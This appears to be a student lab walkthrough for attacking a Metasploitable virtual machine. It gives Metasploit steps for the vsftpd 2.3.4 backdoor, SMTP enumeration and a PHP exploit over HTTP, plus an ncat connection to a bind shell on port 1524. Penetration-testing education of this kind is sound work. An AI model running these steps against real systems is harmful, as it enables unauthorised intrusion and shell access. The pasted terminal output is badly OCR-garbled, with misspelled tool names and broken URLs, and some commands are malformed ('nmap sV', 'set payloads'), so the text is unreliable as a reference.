# 1) EXPLOITING METASPLOITABLE MACHINE

## a) Exploiting Metasploit using FTP

Sol:-

#### COMMAND USED:

- 1)nbtscan -r 192.168.137.0/24
- 2)nmap sV 192.168.137.178
- 3)msfconsole
- 4)search vsftpd
- 5)show options
- 6)use 0
- 7)set RHOSTS 192.168.137.178
- 8)show payloads
- 9)set payloads cmd/unix/interact
- 10)exploit

```
File Actions Edit View Help

(control 1) - (/Nome/anush)

(control 1) - (/Nome/anush)

Starting Mnap / .03 ( https://nnap.org ) at 2023-03-13 13:47 IST

Mnap scan report for 192:108:137:178

Host is up (0.0012) latency).

PORT STATE SERVICE
21/tcp open ftp
1 ftp-vsftpd-backdoor:

VsfTrd version 2.3.4 backdoor

State: VULNERABLE (Exploitable)

Disclosure date: 2011-07-08

Exploit results:
Shell command: id
Shell command: id
Hoss: //sithub.com/rapid//metaploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
https://sithub.com/rapid//metaploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
https://sithub.com/rapid//metaploits/ftp/vsftpd_234_backdoor.rb
https://sithub.com/rapid//metaploits/ftp/vsftpd_234_backdoor.rb
https://sithub.com/rapid//metaploits/ftp/vsftpd_234_backdoor.rb
https://sithub.com/rapid//metaploits
```

```
File Actions Edit View Help

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name Current Setting Required Description

RNOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

Payload options (cmd/unix/interact):

Name Current Setting Required Description

Exploit target:

Id Name

a Automatic

View the full module info with the info, or info -d command.

mnfs exploit( and the info with the info, or info -d command.

RNOSTS = 192.168.137,178

Disclosure Date Rank Check Description

a payload/cmd/unix/interact

post exploit( and the info with the inf
```

#### b) Exploiting Metasploit using SMTP

#### Sol:-

- 1)search smtp
- 2)use auxiliary/scanner/smtp/smtp\_enum
- 3)show options
- 4)set RHOSTS 192.168.137.178
- 5)exploit



```
The Actions Set Wen Help

1 emplot/victorium imfluorency, cape and

2 emplot/victorium imfluorency, cape and

3 emplot/victorium imfluorency, cape and

4 employers, cape and

5 employers, ca
```

#### c) Exploiting Metasploit using Blind shell

Sol:-

1) ncat 192.168.137.178 1524

### d) Exploiting Metasploit using HTTP

Sol:-

- 1)search http scanner
- 2) use auxiliary/scanner/http/http\_version
- 3)show options
- 4)set RHOSTS 192.168.137.178
- 5)run
- 7)search php 5.4.2
- 8)use 1
- 9)show options
- 10)set RHOSTS 192.168.137.178
- 11)exploit